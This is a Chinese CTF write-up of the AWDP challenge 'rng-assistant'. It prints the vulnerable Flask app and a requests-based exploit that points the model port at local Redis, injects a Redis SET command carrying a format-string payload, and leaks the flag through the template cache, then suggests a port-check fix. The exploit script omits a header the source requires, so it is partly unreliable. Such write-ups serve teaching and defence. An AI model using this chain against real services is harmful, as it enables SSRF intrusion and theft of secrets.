AWDP赛事中Redis+模板注入无回显利用链分析与修复
结合Redis未授权与模板注入,构造无回显SSRF/SSTI利用链获取flag,并给出端口白名单修复方案。
AWDP简介
AWDP在传统的AWD赛事上加入了pwn的题目,使得比赛考验的深度进一步增加了,在AWDP中主要分为FIX和BREAK两个得分点,一个是FIX修复漏洞,使官方的exp不能直接打通,BREAK如传统ctf一样根据漏洞点打通漏洞,十分考验参赛选手的代码审计能力与漏洞利用能力
漏洞分析
题目为:CISCN&长城杯2025半决赛 rng-assistant
源码:
import socket
import redis
import json
import os
from hashlib import md5, sha256
from os.path import join
from flask import Flask, request, jsonify, session
from flag import FLAG
app = Flask(__name__)
app.secret_key = os.urandom(0x10)
redis_conn = redis.Redis(host="localhost", port=6379, db=0)
model_ports = {"math-v1": 54321, "default": 50051}
# Port to Database at v1.0.
users = {"test": {"password": "098f6bcd4621d373cade4e832627b4f6"}}
# ======== Utilities ========
class PromptTemplate:
PROMPT_DIR = "static/prompts"
def __init__(self, question, user_level="primary"):
self.user_level = user_level
self.question = question
@staticmethod
def get_template(template_id):
prompt_key = f"prompt:{template_id}"
prompt = redis_conn.get(prompt_key)
if not prompt:
template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
with open(template_path, "rb") as file:
prompt = file.read()
redis_conn.set(prompt_key, prompt)
prompt = prompt.decode(errors="ignore")
return prompt
def get_prompt(self, template_id):
return PromptTemplate.get_template(template_id).format(t=self)
def get_model_port(model_id):
return model_ports.get(model_id, model_ports["default"])
def generate_prompt(user_question, prompt_id="math-v1"):
return PromptTemplate(user_question).get_prompt(prompt_id)
def query_model(prompt, model_id="default"):
cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
cached = redis_conn.get(cache_key)
if cached:
return cached.decode()
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("127.0.0.1", get_model_port(model_id)))
s.sendall(prompt.encode("utf-8"))
response = s.recv(4096).decode("utf-8")
redis_conn.setex(cache_key, 3600, response) # Cache for 1 hour
return response
except Exception as e:
return f"Model service error: {str(e)}"
def generate_salt():
return os.urandom(0x10)
def hash_password(password, salt):
return sha256(salt + password.encode()).hexdigest()
# ================
def whoami(username):
role = request.headers.get("X-User-Role")
if username is None:
r = role
else:
r = username + ":" + role
return r
@app.route("/")
def index():
return f"Welcome to the RNG Assistant, {whoami(session['user'])}!"
@app.route("/register", methods=["POST"])
def register():
data = request.json
username = data.get("username")
password = data.get("password")
if not username or not password:
return jsonify({"error": "Missing username or password"}), 400
if username in users:
return jsonify({"error": "Username already exists"}), 400
salt = generate_salt()
hashed_password = hash_password(password, salt)
users[username] = {"password": hashed_password, "salt": salt}
return jsonify({"message": "Registration successful"})
@app.route("/login", methods=["POST"])
def login():
data = request.json
username = data.get("username")
password = data.get("password")
user = users.get(username)
if not user or user["password"] != hash_password(password, user["salt"]):
return jsonify({"error": "Invalid credentials"}), 401
session["user"] = username
return jsonify({"message": f"Login successful", "user": whoami(session['user'])})
@app.route("/ask", methods=["POST"])
def ask_question():
if "user" not in session:
return jsonify({"error": "Login required"}), 401
data = request.json
question = data.get("question")
model_id = data.get("model_id", "default")
final_prompt = generate_prompt(question)
response = query_model(final_prompt, model_id)
res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
return jsonify(res)
@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403
data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")
final_prompt = custom_prompt
response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})
@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403
data = request.json
model_id = data.get("model_id")
port = data.get("port")
if request.method in ["POST", "PUT"]:
if not model_id or not port:
return jsonify({"error": "Missing parameters"}), 400
model_ports[model_id] = port
return jsonify({"message": "Update successful", "user": whoami(session['user'])})
elif request.method == "DELETE":
if not model_id:
return jsonify({"error": "Missing model_id"}), 400
if model_id in model_ports:
del model_ports[model_id]
return jsonify({"message": "Delete successful", "user": whoami(session['user'])})
if __name__ == "__main__":
app.run(port=8000)这是一个pythonweb的代码
首先代码代码开头连接了redis,首先要考虑是否存在redis未授权的情况,更改本地redis密码,在更改redis密码的时候我们同时也要记得,在break时尝试一下,虽然说一般情况不应该存在这种漏洞
redis_conn = redis.Redis(host="localhost", port=6379, db=0)然后就逐个路由进行分析
@app.route("/")
def index():
return f"Welcome to the RNG Assistant, {whoami(session['user'])}!"
@app.route("/register", methods=["POST"])
def register():
data = request.json
username = data.get("username")
password = data.get("password")
if not username or not password:
return jsonify({"error": "Missing username or password"}), 400
if username in users:
return jsonify({"error": "Username already exists"}), 400
salt = generate_salt()
hashed_password = hash_password(password, salt)
users[username] = {"password": hashed_password, "salt": salt}
return jsonify({"message": "Registration successful"})
@app.route("/login", methods=["POST"])
def login():
data = request.json
username = data.get("username")
password = data.get("password")
user = users.get(username)
if not user or user["password"] != hash_password(password, user["salt"]):
return jsonify({"error": "Invalid credentials"}), 401
session["user"] = username
return jsonify({"message": f"Login successful", "user": whoami(session['user'])})默认路由和注册和登录路由,没什么问题,就是常规的校验
@app.route("/ask", methods=["POST"])
def ask_question():
if "user" not in session:
return jsonify({"error": "Login required"}), 401
data = request.json
question = data.get("question")
model_id = data.get("model_id", "default")
final_prompt = generate_prompt(question)
response = query_model(final_prompt, model_id)
res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
return jsonify(res)ask路由到了功能函数了,首先校验登录状态,获取两个参数qusetion和model_id,调用了generrate_prompt函数,再去查看这个函数的功能,从函数名和代码内容可知,函数用于初始化提示词
def generate_prompt(user_question, prompt_id="math-v1"):
return PromptTemplate(user_question).get_prompt(prompt_id)这个函数调用了PromptTemplate类,我们再去看一下这个类
class PromptTemplate:
PROMPT_DIR = "static/prompts"
def __init__(self, question, user_level="primary"):
self.user_level = user_level
self.question = question
@staticmethod
def get_template(template_id):
prompt_key = f"prompt:{template_id}"
prompt = redis_conn.get(prompt_key)
if not prompt:
template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
with open(template_path, "rb") as file:
prompt = file.read()
redis_conn.set(prompt_key, prompt)
prompt = prompt.decode(errors="ignore")
return prompt
def get_prompt(self, template_id):
return PromptTemplate.get_template(template_id).format(t=self)PromptTemplate类主要的参数就是question,get_template就是在根据template_id使用redis选择对应的模型,根据生成的prompt读取文件,文件的生成路径如上,首先这里用了redis来做缓存,这个template_id 可能存在模板注入,这个读取文件也可能存在目录穿越导致的任意文件读取,先想一下等看到后面的代码我们在具体分析漏洞,我在这里就是一步一步引导大家找出可能存在的漏洞,这才是代码审计的意义
我们接着看这个/ask路由分析,接下来就是用response和res发送请求和接收响应,我们接着看
@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403
data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")
final_prompt = custom_prompt
response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})/admin/raw_ask路由首先检查权限,但是这个权限检查可以通过加入请求头的方式绕过,这个路由与上一个路由的区别就是可以自定义prompt
@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403
data = request.json
model_id = data.get("model_id")
port = data.get("port")
if request.method in ["POST", "PUT"]:
if not model_id or not port:
return jsonify({"error": "Missing parameters"}), 400
model_ports[model_id] = port
return jsonify({"message": "Update successful", "user": whoami(session['user'])})
elif request.method == "DELETE":
if not model_id:
return jsonify({"error": "Missing model_id"}), 400
if model_id in model_ports:
del model_ports[model_id]
return jsonify({"message": "Delete successful", "user": whoami(session['user'])})接下来我们来到了最后一个路由,先是身份校验,这个函数传参是可以传递id与端口,发送请求,这里可能存在SSRF漏洞
总结:
/register 注册账号
/login 登录账号
/ask 调用初始化模板,存在模板注入,模板注入,通过redis带出回显
/admin/raw_ask 调用query_model来发送请求调用模型
/admin/model_ports 指定端口,来将大模型端口改为redis端口还有一个函数
def query_model(prompt, model_id="default"):
cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
cached = redis_conn.get(cache_key)
if cached:
return cached.decode()
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("127.0.0.1", get_model_port(model_id)))
s.sendall(prompt.encode("utf-8"))
response = s.recv(4096).decode("utf-8")
redis_conn.setex(cache_key, 3600, response) # Cache for 1 hour
return response
except Exception as e:
return f"Model service error: {str(e)}"这个函数通过id来指定端口,来连接模型,由于题目redis权限限制很死,只能通过这个SSRF来利用
利用链大概如下:
首先注册账号->登录账号->保持cookie和session->设置端口->发送SSTI getflag->最后请求一遍带出flag
整个利用的原理如下:
代码校验了登录状态,所以要先注册和登录,然后将端口设置成redis的6379端口,所以相当于把大模型劫持到了redis上,再发送payload
payload = """\
SET prompt:math-v1 {t.__init__.__globals__}
"""这段payload设置了prompt:math-v1的值为模板注入的恶意代码,再次通过math-v1为template_id 访问就可以,这个math-v1是默认的值

在初始化设置的时候将prompt_id设置成了math-v1,所以再次请求这个prompt时就会返回执行getflag的代码,说起来了这个还不算标准的SSTI,这道题目这个模板的参数我们时控制不了的

观察参数这个prompt_id是我们不能控制的,所以我们在缓存中写入这个值,就能读取到对应代码执行的效果
Payload
import requests
import json
host = "ip"
port = port
payload = """\
SET prompt:math-v1 {t.__init__.__globals__}
"""
resp = requests.post(
url=f"http://{host}:{port}/admin/model_ports",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={
"session": 我们注册完成后得到一个session
},
data=json.dumps({
"model_id": "default",
"port": 6379
})
)
resp = requests.post(
url=f"http://{host}:{port}/admin/raw_ask",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={
"session": cookie
},
data=json.dumps({
"prompt": payload
})
)
resp2 = requests.post(
url=f"http://{host}:{port}/ask",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={
"session": cookie
},
data=json.dumps({
"question": "hi"
})
)
print(resp2.text)修复
在设置端口处判断一下,如果是redis端口就禁止
总结
这道题目的难点主要在于redis利用与模板注入结合到一起,而且没有回显,利用redis缓存带出flag确实很难想到
结合Redis未授权与模板注入,构造无回显SSRF/SSTI利用链获取flag,并给出端口白名单修复方案。
由 AI 根据全文自动生成,仅供参考,以原文为准